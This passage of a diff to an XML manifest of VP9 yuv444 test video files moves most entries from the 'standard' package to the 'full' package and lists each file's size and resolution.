   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_Qp63_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=17706,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=17706,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_sharp0_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=86870,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=86870,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_sharp1_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=86350,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=86350,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_sharp2_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=86417,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=86417,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_sharp3_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=86536,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=86536,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_sharp4_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=86266,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=86266,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_sharp5_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=86472,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=86472,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_sharp6_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=86493,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=86493,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_sharp7_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=85896,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=85896,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_skip5frm_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=73441,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=73441,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_upScale_100_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=86871,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=86871,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_upScale_10_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=86871,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=86871,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_upScale_20_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=86871,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=86871,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_upScale_50_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=86871,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=86871,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_vbr_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=86871,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=86871,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_1x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=85726,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=85726,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=86278,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=86278,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_2x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=85891,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=85891,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_2x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=86278,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=86278,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_4x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=86185,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=86185,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_4x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=86278,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=86278,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_adaptQCom_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=80235,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=80235,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_adaptQVar_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=80397,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=80397,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_arnr_0f_0s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87975,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87975,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_arnr_0f_5s_1t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=86418,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=86418,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_arnr_0f_5s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87938,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87938,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_arnr_15f_0s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88203,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88203,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_arnr_15f_5s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=85711,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=85711,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_arnr_5f_0s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=86418,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=86418,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_arnr_5f_5s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=86418,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=86418,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_arnr_5f_5s_3t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=86418,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=86418,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_autAltRef_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=86278,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=86278,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_autAltRef_8lag_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=84702,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=84702,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_cbr_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=92839,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=92839,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_cq0_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87199,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87199,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_cq10_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87199,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87199,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_cq16_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87199,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87199,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_cq32_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87199,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87199,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_cq4_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87199,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87199,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_cq63_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=71342,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=71342,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_downScale_10_noKey_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=86278,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=86278,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_downScale_20_noKey_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=86278,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=86278,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_downScale_50_noKey_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=86278,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=86278,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_downScale_80_noKey_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=86278,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=86278,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_errRes_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=90483,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=90483,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_keyFrmOnly_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=429795,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=429795,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_lossless_1x2.webm">
     <value>mime=video/x-vnd.on2.vp9,size=16349794,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_noKeyFrm_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=86278,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=86278,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_nonErrRes_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=86278,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=86278,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_Qp0-10_1x2.webm">
     <value>mime=video/x-vnd.on2.vp9,size=3292501,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -40584,7 +40584,7 @@
     <value>mime=video/x-vnd.on2.vp9,size=16349794,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_Qp0-63_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=86278,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=86278,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_Qp10-20_1x2.webm">
     <value>mime=video/x-vnd.on2.vp9,size=1826120,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -40593,256 +40593,256 @@
     <value>mime=video/x-vnd.on2.vp9,size=989355,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_Qp30-40_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=462986,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=462986,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_Qp32_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=731858,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=731858,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_Qp40-50_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=204606,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=204606,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_Qp50-63_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=81303,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=81303,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_Qp63_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=18297,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=18297,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_sharp0_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=86278,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=86278,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_sharp1_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=86279,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=86279,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_sharp2_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=86033,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=86033,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_sharp3_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=86272,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=86272,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_sharp4_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=86133,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=86133,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_sharp5_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=85812,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=85812,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_sharp6_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=86165,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=86165,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_sharp7_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=85880,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=85880,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_skip5frm_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=73451,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=73451,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_upScale_100_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=86278,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=86278,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_upScale_10_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=86278,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=86278,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_upScale_20_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=86278,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=86278,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_upScale_50_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=86278,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=86278,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_vbr_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=86278,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=86278,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_1024x1024p50f32_2000kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=164277,width=1024,height=1024,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=164277,width=1024,height=1024,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_1024x576p50f32_1100kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88340,width=1024,height=576,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88340,width=1024,height=576,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_1024x768p50f32_1500kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=119756,width=1024,height=768,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=119756,width=1024,height=768,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_1080x1440p50f32_3100kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=269269,width=1080,height=1440,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=269269,width=1080,height=1440,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_1080x16p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=21628,width=1080,height=16,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=21628,width=1080,height=16,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
